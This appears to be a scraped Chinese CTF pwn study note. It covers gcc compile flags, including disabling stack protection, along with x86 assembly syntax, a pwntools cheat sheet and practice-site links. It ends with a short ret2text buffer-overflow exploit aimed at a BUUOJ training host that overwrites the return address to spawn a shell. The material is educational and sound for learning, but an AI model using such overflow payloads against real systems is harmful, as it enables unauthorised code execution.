赞
踩
sudo apt install gcc
安装gcc编译器-E
(大写)gcc -E main.c -o main.i
-S
(大写)gcc -S main.i -o main.s
-c
(小写)gcc -c main.s -o main.o
-o
文件名 gcc main.o -o main
-masm=intel
生成Intel汇编-g
-fno-stack-protector
-m32
%
,立即数前加$
;Intel语法不加前缀;movq
(四字)、addb
(字节)等,而Intel语法没有这种标识;mov eax,ebx
: 把ebx的内容放入eax寄存器mov eax,[ebx]
: 将ebx指向的数据内容放入eax寄存器lea edx,[ecx+4]
:把ecx+4单元的32位地址存放edx寄存器add eax,ebx
: 把eax加ebx的结果放入eax寄存器sub edx,ecx
: 把edx减ecx的结果放入edx寄存器push eax
: 将eax压入堆栈pop ebx
: 将栈顶数据取出传给ebxleave
: 释放栈帧空间,相当于move esp,ebp和pop ebpxor
:异或jmp
:无条件跳转cmp
:比较,用目标操作数减去源操作数,根据结果来确定溢出、符号、零、进位、辅助进位和奇偶标志位,但不会真的去改变目标操作数,仅改变标志位test
:指令执行逻辑与操作,但不会真的去改变目标操作数,仅改变标志位jxx
:条件跳转,如jz、jc、jo、jp、je、ja、jg、jl等call
:函数调用ret
:返回from pwn import *
context(arch='i386',os='linux',log_level = 'debug') #架构32位X86,平台Linux 开启日志信息
context.terminal['tmux','splitw','-h'] #设置tmux分屏
io = remote("127.0.0.1", 32152) #与互联网主机交互
io = process("./bin", shell=True) #启动本地程序进行交互,用于gdb调试
io.sendline("hello") # sendline发送数据会在最后多添加一个回车
io.send("hello")
io.recv(1024) # recv()读取1024个字节
io.revuntil("hello") # recvutil()读取到指定数据
io.recvline() # recvline()读取到指定数据
io.interactive()
https://libc.blukat.me/
apt install lib32z1
apt install lib32stdc++6
https://pwnable.kr/play.php
https://buuoj.cn/
https://adworld.xctf.org.cn/home/index
https://ctf.bugku.com/
https://www.jarvisoj.com/
https://ctf.show/
https://www.ctfhub.com/#/index
from pwn import *
p=remote("node4.buuoj.cn", 29898) #靶机地址和端口
# char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡
# p64()发送数据时,是发送的字节流,也就是比特流(二进制流)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。